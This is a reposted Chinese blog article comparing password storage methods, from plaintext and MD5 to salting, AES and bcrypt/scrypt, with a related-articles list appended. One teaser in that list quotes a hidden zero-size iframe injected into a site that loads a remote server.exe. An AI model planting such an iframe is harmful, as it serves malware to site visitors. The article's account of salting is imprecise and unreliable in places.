听说,有些网站明文存储用户密码?

news/2024/5/9 10:13:28/文章来源:https://blog.csdn.net/u014023993/article/details/89891566

前段时间爆出 Facebook 明文存储用户密码,多达 6 亿用户,而它的用户总数是 27 亿,占比 22 % 。

看到这个消息,是不是很震惊?

无独有偶,之前有听过很多银行系统的密码也是明文(真假没有验证)。

在读书时,忘记学校网站密码后,直接打电话给 IT 人员,IT 人员让我说出可能的密码,然后他会告诉我是否正确。那时候我怀疑密码是明文存储的,虽然也没能验证。为什么怀疑是明文,怎么可能要求每个 IT 人员都知道怎么对密码进行一定的变换,然后和存储的密码进行比较呢?(如果有相应的工具那么另说)

明文存储密码存在泄露的风险,也存在撞库的风险。什么是撞库?撞库就是你在好几家网站上共用一个密码,一家的数据库泄露,你在其他网站的密码信息也就被泄露了。关于这种情况,你会说,每个网站密码用不一样的不就好了?可是,有那么多网站,那么多密码你记得过来吗?

我们知道明文存储密码是不安全的,加密存储密码是安全的。

但是,加密存储密码也不一定安全,随着技术的进步,之前的加密算法的安全性大大降低,很容易被破解,于是新的加密算法不断被提出。在这个过程中,有如下几种密码的存储方式。

 

方法 1:一次 HASH 操作

很早的方法是对密码进行 HASH 操作(如 MD5, SHA - 1,SHA - 256 算法)。HASH(哈希)也即散列:把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要。

以 MD5 为例,讲述密码存储过程。服务端将密码进行 MD5 操作后得到的值存储到数据库中。客户端将明文密码进行 MD5 操作,然后将值发送给服务端,服务端将收到的值和数据库中存储的值相比较就可以知道传入的密码是否正确。这种情况下,服务端也不知道真实的密码,所以密码是找不回的,只能重置。

由于 MD5 是单向的、不可逆的,所以这种方式流行了很长时间。

MD5 的原理是对于特定的输入产生特定的输出。这既是它的工作原理,也可以用于进行破解:可以进行数字、字母的组合来确定真实的密码。最简单的是暴力破解,就是一直尝试,直至成功。但是服务端一般会限制尝试的次数,也即失败一定次数后,锁定 IP 一段时间。有些网站并不会告诉你是用户名错误还是密码错误,防止你进行有针对性的穷举,只会告诉你密码或者用户名错误。

暴力破解的升级版是查表破解,也即先生成大量的 HASH 值并进行存储。需要破解的时候直接进行查表匹配,只要匹配上,就可以获得明文密码。这种方式是用空间换时间,也规避了服务器限制登录失败次数的这一限制。如果将生成的 HASH 值存储到文件中,可以被网络用户共享,可以被更多人使用。

更先进的方法是 Rainbow table(彩虹表),原理和查表破解有些相似,只不过以牺牲时间来达到更小的存储空间,也即以时间换空间。进行匹配时耗时比较久,但是 HASH 值存储所占的空间比较小。

Rainbow table 对于简单密码的破解很有效,1.4 G 的彩虹表可以在 13.6 s 内破解 99.9% 的数字字母混合型的 Windows 密码。如果是 6 位纯数字密码,只有 10^6 种组合(譬如银行卡密码),只有 1 百万种可能性。如果是 6 位的数字和大小写字母的组合,共有(10 + 26 * 2) ^ 6 ,大约是 568 亿种可能性。如果是 8 位的数字和大小写字母的组合,共有 218.34 万亿种可能性。如果将标点符号也包含进来,那么可能性就更多了。所以,现在很多网站要求用户设置的密码长度不低于 8 位,需要包含数字、字母(区分大小写)、标点符号等,将破解难度增大。

虽然密码的强度增加了,但是面对日益增长的硬盘大小及计算能力(超核、GPU、特定 HASH 硬件),此种方式也不那么可靠了。

一次 MD5 的方式虽然可以被破解,但这并不是 MD5 最大的问题,其致命的问题是 MD5 算法并不可靠:之前人们以为对于不同的输入,输出不同;后来被证明,对于不同的输入,输出可能相同。

针对一次 HASH 的不足,人们提出了 HASH + Salt(盐值)的操作。

 

方法 2:HASH + Salt

HASH + Salt 的操作也称为两次 HASH,其原理是:第一次 HASH 操作进行身份的初次鉴权,网站会返回一个随机数(Salt,盐值),客户端通过服务器返回的随机数以及协商好的规则进行第二次 HASH 操作,将操作结果发送给服务器,服务器也通过相同的方法进行操作,如果两次结果相同,那么就鉴权成功。

此种方式下,服务器也不存储明文密码,存储的是密码第一次 HASH 后的结果。即使该值被泄露,也不会泄露明文密码。

为什么两次 HASH 会比较安全呢?一是其引入了随机数;二是第二次 HASH 的规则可以自定义。随机数使得暴力破解及 Rainbow table 方式破解的难度增大很多,但也并不是不可能(想想内存及计算能力的飞速发展)。第二次 HASH 的规则可以自定义,也增大了破解的难度。

仔细想一下,盐值的产生及维护也有一定的技巧。

盐值应该满足如下几个特点:

  1. 盐值的随机性要比较好,不能使用 rand 类的函数,应该使用CSPRNG(Windows 下的 CryptGenRandom 函数及 Linux 下读取 /dev/urandom 文件)

  2. 盐值不应该太短

  3. 盐值应该唯一:不同用户不同盐值

  4. 盐值不应该是一些特殊字符串,譬如用户名、手机号等

稍微想一想,盐值得存储也有很多学问,不能和密码 HASH 后的值存储在一起。

 

方法 3:对称加密算法

采用 AES 等对称加密算法对密码进行加密,然后对加密后的密文进行存储。

此种方式下的密钥存储及管理也是不小的难题。是为每个用户产生一个密钥,还是为一定数量的用户产生一个密钥?如果每个用户一个密钥,那么管理难度较大。如果一定数量用户一个密钥,那么安全性又不高。

对称加密算法加密后的密文可以进行解密得到明文,如果密钥泄露,那么明文密码也存在泄露的可能性。

此种方式下,客户端需要对明文密码进行加密(对于 HTTPS,不需要考虑此种情况)。那么,就会涉及密钥传输的问题。密钥的传输主要有两种方法:

  1.  公钥加密方法:如 RSA 算法 + AES 算法

  2.  密钥交换算法:如 DH 算法

公钥加密传输密钥的步骤如下:

  1. 客户端获取服务端的公钥(RSA 算法产生),用服务端的公钥加密对称加密算法(AES 算法)的密钥(该密钥用于加密用户密码),然后将结果发送给服务端

  2. 服务端用自己的私钥(RSA 算法产生)解密出对称加密算法的密钥,然后用该密钥解密出用户密码

  3. 服务端用保存的密钥加密上一步得到的明文密码,然后和数据库中存储的密文密码进行比较(或者解密出数据库中的明文密码,和解密出的用户明文密码进行比较),如果相同,那么验证通过;否则,验证失败

上述过程中,服务端需要维护密文密码、密钥、公钥文件及私钥文件,对于大量用户的场景,难度也不小。

当然,也可以通过密钥交换算法传输加密明文密码时需要的密钥,如 DH 算法,感兴趣的可以去研究一下。

 

方法 4:密码 HASH 算法

常用的密码 HASH 算法有 PBKDF2、 bcrypt(blowfish)、scrrpt。虽然这里称之为密码 HASH,但是不同于之前说的 MD5 等算法。密码 HASH 算法的基本思想是提高暴力破解的时间成本或者空间成本。

PBKDF2(Password-Based Key Derivation Function 2)简单而言就是将 Salted hash 进行多次重复计算,这个次数是可选择的,可以明确指定 HASH 次数,指定的次数越多,暴力破解的成本也就越多。

Bcrypt 是专门为密码存储而设计的算法,基于 Blowfish 加密算法变形而来。Bcrypt 最大的好处是有一个参数(work factor),可用于调整计算强度,而且 work factor 是包括在输出的摘要中的。随着攻击者计算能力的提高,使用者可以逐步增大 work factor,而且不会影响已有用户的登陆。

Scrypt 是由著名的 FreeBSD 黑客 Colin Percival 为他的备份服务  Tarsnap 开发的。Scrypt 不仅计算所需时间长,而且占用的内存也多,使得并行计算多个摘要异常困难,因此利用 Rainbow table 进行暴力攻击更加困难。

 

在实际的使用场景中,上述方案都有其应用场景。对安全的认知、资源、技术等因素往往会影响对方案的选择,上述方案也可以相互结合,以减小密码泄露的可能性。

对用户密码进行加密存储是一个难度不小的挑战,所以,一些网站明文存储密码也就不难理解了。在设置密码时,最好增大密码强度,多个网站尽量不要使用相同的密码,定期更换密码,以减小密码泄露的可能性。

扫描二维码,关注“清远的梦呓”,手机端查看文章

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_818321.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个因pid文件丢失,nginx的进程起不来,网站页面无法访问的故事

问题描述: 公司的一个网站首页突然打不开,使用域名访问,页面一片空白。使用IP端口 访问,界面只能看到几个蓝色的标题,没有图片,排版混乱。 分析解决: 1、查看部署官网的nginx进程,进…

网站至今已停超过24小时,郁闷中...

最早想用一卡通来付钱,忘了把证书带在身边,网上银行使用不了了退而求其次,申请支付卡,被银行的人问了一堆的问题,很多天长地久谁能记得那么清楚,失败。再求其次,用别人的卡付帐,谁知…

快速在Ubuntu安装PHP网站

快速安装使用的是tasksel,tasksel是Debian / Ubuntu的工具,安装多个相关软件包作为一个协调的“任务”到你的系统。这个lamp-server^跟taskel这个程序有关。下面是详细步骤: 一、升级当前Linux环境 这里我采用UBUNTU发行版本,需要…

云服务器 ECS 搭建WordPress网站:购买域名

购买域名您可以给自己的网站设定一个单独的域名。您的用户可以使用易记的域名访问您的网站,而不需要使用复杂的 IP 地址。 建议通过 阿里云购买域名。 操作步骤 1.在购买域名页面,搜索想用的域名,如尚未被注册,则可以购买。选择要…

python 第一个网站应用

Hello,第一个网页分析 打开文本编辑器。这里要说一下啦,理论上讲,所有的文本编辑器都可以做为编写程序的工具。前面已经提到的那个python IDE,是一个很好的工具,再有别的也行,比如我就用vim(好像我的计算机…

wallhaven壁纸网站改版后爬虫小例子

wallhaven壁纸网站改版后爬虫 新手上路,老司机绕路 最近学习python,尝试写一点小爬虫 这是改版后的wallhaven壁纸网站,爬取热门榜单。首先对网站进行分析 按F12启动开发者工具,对网页进行分析。 现在页面上的图片都是缩略图没有爬…

ASP.NET WEB网站简单入门(简单Demo -发布)

简单分几个阶段 一、简单代码实现 1.新建工程 2.打开设计器(查看设计器),托出一个label ,写上Hello 3.点击调试,即可看到网页效果 4.重新生成后,发布到指定路径下 5.弹出网站发布设置面板,点击&l…

爬虫7----动态网站抓取

一、Ajax和动态HTML 二、Selenium 使用教程 一、实例1 二、元素的选取 2.1实例讲解 三、页面操作 1.页面交互和表单填充 代码如下: 2.元素拖拽 3.切换窗口 3.如何切换frame selenium提供了**switch_to.frame()**方法来切换frame 3.1、从frame中切回主文档…

亿恩云主机,网站所有页面头部开始被插入iframe,提交问题给亿恩技术,回应的是沉默...

用的亿恩的云主机&#xff0c;今天发现所有页面头部最开始被插入了如下一段代码&#xff1a; <iframe src http://122.224.95.100:6655/server.exe width0 height0></iframe> 后经检查&#xff0c;服务器上的文件并没有被篡改&#xff0c;补丁也打了&#xff0c;也…

五款开源免费的建站系统推荐

最近研究了下开源的建站系统&#xff0c;推荐5款国内的吧&#xff0c;都有免费版本&#xff0c;有需要可以去试试。 ECTouch ECTouch是一款开源免费的移动商城网店系统。能够帮助企业和个人快速构建手机移动商城并减少二次开发带来的成本。 ECTouch采用PHPMYSQL方式运行&…

学英语好网站

转载于:https://www.cnblogs.com/DeeLMind/p/7627276.html

[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护

这是作者的系列网络安全自学教程&#xff0c;主要是关于网安工具和实践操作的在线笔记&#xff0c;特分享出来与博友共勉&#xff0c;希望您们喜欢&#xff0c;一起进步。前文分享了Python网络攻防基础知识、Python多线程、C段扫描和数据库编程&#xff0c;本文将分享Python攻防…

简单用户登录网站(HttpServlet1.1版本)

案例说明:用户在登录界面输入非空信息,在欢迎页面显示用户信息 Login1.java 用户登录界面 对Login1.java进行Servlet部署 LoginCl1.java 用户业务逻辑处理,采用sendRedirect()方法 对LoginCl1.java进行Servlet部署 Wel1.java 欢迎页面(显示用户信息) 对Wel1.java进行Servlet部署…

网站流量日志数据分析系统

1&#xff0e; 点击流数据模型1.1&#xff0e; 点击流概念点击流&#xff08;Click Stream&#xff09;是指用户在网站上持续访问的轨迹。这个概念更注重用户浏览网站的整个流程。用户对网站的每次访问包含了一系列的点击动作行为&#xff0c;这些点击行为数据就构成了点击流数…

渗透之路 信息收集【第四篇】网站四大套件识别

国内网站架构情况 特性1&#xff1a; 开源cms搭建(直接找cms漏洞) 非cms搭建(即需要代码开发)特性2&#xff1a; 阿里云&#xff0c;腾讯云等(自带防护&#xff0c;难度最大) 小中型IDC空间商 企业内部服务器特性3&#xff1a; 单一站点 多域名站点 多目录站点(多程序站点) 混合…

2017年网站安全狗绕过WebShell上传拦截的新姿势

本文来源&#xff1a;https://www.webshell.ren/post-308.html 今天有一位朋友发一个上传点给我 我一看是南方cms 有双文件上传漏洞 本来可以秒的 但是看到了 安全狗 从图片可以看到http返回信息 有安全狗拦截 哪怎么办呢 我也是搞了以前私藏的姿势 后来发现都不行 发现行…

跟着百度学PHP[14]-COOKIE的应用/网站登陆案例完整案例

先在数据库当中创建以下数据&#xff1a; mysql> create table user(-> id int not null auto_increment,-> username varchar(50) not null default ,-> password char(32) not null default ,-> email varchar(80) not null default ,-> allow_1 smallint …

逻辑漏洞-客户端验证的邮箱-Web渗透实例之中国教育部青少年普法网站逻辑漏洞...

转载自&#xff1a;http://www.zmnhssn.com/?post61 漏洞地址&#xff1a;https://user.qspfw.com 用户登陆界面 具体漏洞地址: 用户密码找回界面&#xff1a;https://user.qspfw.com/page/user/findpwd/forget_pwd.do 这里可以确认网站有没有这个用户&#xff0c;这个用户…

python局域网访问主机网站_管家婆辉煌版如何实现在局域网如何访问

管家婆辉煌版本我们很多客户都在使用&#xff0c;是一款常用的进销存软件&#xff0c;那么局域网如何实现访问呢&#xff1f;在服务器上安装好管家婆服务器端后&#xff0c;然后打开套接字和管家婆辉煌版服务器端&#xff0c;这两个程序建议设置为开机启动&#xff0c;如图就是…

万能通用的各大网站(全民简历、简历本等) 简历模板 -- 免费下载方法

文章目录前言一、开始步骤1.下载破解版福昕PDF编辑器2.下载wkhtmltopdf3.选择模板并填好信息4.保存网页文件5.本地搭建一个简易web服务器6.使用福昕PDF去除多余的对象二、最终效果总结前言 现在很多人需要制作一份自己的简历&#xff0c;为了格式规范和方便&#xff0c;于是乎…